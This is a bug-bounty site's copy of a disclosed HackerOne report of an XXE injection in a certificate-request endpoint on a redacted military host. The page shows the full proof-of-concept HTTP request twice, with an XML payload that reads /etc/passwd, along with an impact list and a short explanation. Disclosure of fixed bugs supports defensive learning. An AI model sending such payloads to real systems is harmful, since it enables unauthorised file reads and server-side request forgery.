Skip to content
XXE Disclosed report Beginner

XML External Entity (XXE) Injection

An XML endpoint accepted a document defining an external entity pointing at a local file; if the parser resolves it, an attacker could read files or cause SSRF or DoS.

maskedpersian Follow

Originally disclosed on HackerOne

  • Triaged in 12 hours
  • Fixed in 8 days
  • Disclosed after 25 days

XML External Entity (XXE) injection vulnerability. XXE vulnerabilities occur when an application parses XML input that contains a reference to an external entity. When the XML parser is improperly configured to process external entities, it can allow an attacker to: Read arbitrary files on the server. Perform server-side request forgery (SSRF). Conduct denial-of-service (DoS) attacks. Execute remote code (in rare cases). Host name: ███████.mil

POC:

POST /ca/rest/certrequests HTTP/1.1
Host: ████████
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: frame
Referer: https://███████/ca/ee/ca/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/xml
Content-Length: 194

<!--?xml version="2.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>

Impact

Exploitation of this vulnerability can lead to: 1-Confidentiality Breach: Unauthorized access to sensitive information stored on the server. 2-Integrity Violation: Potential manipulation or corruption of application data. 3-Availability Disruption: Possible denial-of-service conditions due to resource exhaustion or application crashes. 4-Remote Code Execution: In extreme cases, execution of arbitrary commands on the server.

System Host(s)

█████████.mil

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

POST /ca/rest/certrequests HTTP/1.1
Host: ██████
Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: frame
Referer: https://██████████/ca/ee/ca/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fa;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/xml
Content-Length: 194

<!--?xml version="2.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by maskedpersian. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the XML parser was configured to resolve external entities and the endpoint accepted XML from the client.

Impact

The report claims an attacker could read arbitrary files, perform server-side request forgery, cause denial of service, and in rare cases execute code, but it does not show the response or confirm which of these actually occurred.

What the attacker needed

Network access to the endpoint; endpoint accepts XML input

How it was found

  1. Send an XML request to the certificate request endpoint.
  2. Include a document type definition that declares an external entity pointing to a local file.
  3. Reference that entity inside the request body.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

XML can include placeholders called entities. Some parsers fetch whatever an entity points to, including server files. The report shows a request that tries this.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by maskedpersian

View all

16 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.